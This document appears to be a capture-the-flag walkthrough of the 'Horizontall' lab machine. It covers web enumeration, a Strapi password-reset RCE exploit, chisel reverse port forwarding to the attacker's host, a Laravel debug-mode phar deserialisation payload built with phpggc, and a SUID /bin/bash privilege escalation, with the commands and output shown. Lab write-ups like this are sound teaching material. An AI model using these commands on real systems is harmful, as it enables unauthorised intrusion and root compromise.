Horizontall

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 5000 10.129.84.249
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-30 00:38 EDT
Nmap scan report for 10.129.84.249
Host is up (0.030s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Add horizontall.htb to our /etc/hosts file to view the website.

Horizontall Subdomain

This is a typical corporate website advertising a product:

Viewing the page source, we can see a small interesting bit here:

<body><noscript><strong>We're sorry but horizontall doesn't work properly without JavaScript enabled. Please enable it to continue.</strong></noscript><div id="app"></div><script src="/js/chunk-vendors.0e02b89e.js"></script><script src="/js/app.c68eb462.js"></script></body>

I don't usually come across this, and it appears to be intentionally left there by the creator because the message is customised. We can try to view the JS code that's within this, and perhaps we would find something new. I searched for the box name, and found a new subdomain within the app.js file:

Interesting! We can add that to our hosts file and view it.

API Reviews

This is what we see when we visit that page:

When we head to the /reviews directory, we would see some JSON

I ran gobuster to scan the directories present on this website and check if we can find anything new.

$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://api-prod.horizontall.htb -t 100
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://api-prod.horizontall.htb
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Timeout:                 10s
===============================================================
2023/04/30 00:47:53 Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 200) [Size: 854]
/users                (Status: 403) [Size: 60]
/reviews              (Status: 200) [Size: 507]

Viewing /admin would bringus to a strapi login page:

Googling for exploits pertaining to strapi shows this:

Running the script would spawn a "terminal" for us and also reset the administrator password.

Great! We have RCE. Now, we can easily get a reverse shell.

Grab the user flag within the developer user home directory.

Privilege Escalation

Port Forwarding

Within the user's home directory, there are some file regarding a project:

strapi@horizontall:/home/developer$ ls
composer-setup.php  myproject  user.txt

Since there is a PHP file, there might be another application running on another port. We can run netstat to check this:

strapi@horizontall:/home/developer$ netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:1337          0.0.0.0:*               LISTEN      1786/node /usr/bin/ 
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
udp        0      0 0.0.0.0:68              0.0.0.0:*                           - 

We can spawn another shell to port forward this using chisel. Since the strapi has a home directory, adding an authorized_keys file is pretty easy. Then, I downloaded chisel via wget and ran these commands:

# on kali
chisel server -p 5555 --reverse
# on victim
chisel client 10.10.14.2:5555 R:8000:127.0.0.1:8000

Then we can visit the page!

Laravel Debug RCE

The website just has the default Laravel page:

We can run a directory scan to see what's available.

$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://localhost:8000 -t 100
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://localhost:8000
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Timeout:                 10s
===============================================================
2023/04/30 01:27:23 Starting gobuster in directory enumeration mode
===============================================================
/profiles             (Status: 500) [Size: 616204]

Interesting. Viewing the /profiles leads to a 500 error and brings us to a debug page.

This application enabled the Debug mode and also had Laravel v8 running. It appears to be vulnerable to an older exploit that allows RCE through Laravel Debug mode.

This exploit uses phpggc to create a malicious serialised PHP file that would allow us to execute commands. So, we need to download phpggc to the machine and run the following command:

php -d phar.readonly=0 ./phpggc --phar phar -f -o id.phar monolog/rce1 system id

The first part would allow us to create a phar file that executes id on the system. When we run the exploit, this is what we would get:

$ python3 laravel.py http://127.0.0.1:8000 id.phar
+ Log file: /home/developer/myproject/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
--------------------------
uid=0(root) gid=0(root) groups=0(root)
--------------------------
+ Logs cleared

Works! Now we just need to specify a longer command. In this case, I decided to make /bin/bash an SUID binary. We just need to run these commands again

php -d phar.readonly=0 ./phpggc --phar phar -f -o suid.phar --fast-destruct monolog/rce1 system 'chmod u+s /bin/bash'
python3 laravel.py http://127.0.0.1:8000 suid.phar

Then we can easily get a root shell on the machine.

strapi@horizontall:~$ /bin/bash -p
bash-4.4# id
uid=1001(strapi) gid=1001(strapi) euid=0(root) groups=1001(strapi)

Rooted!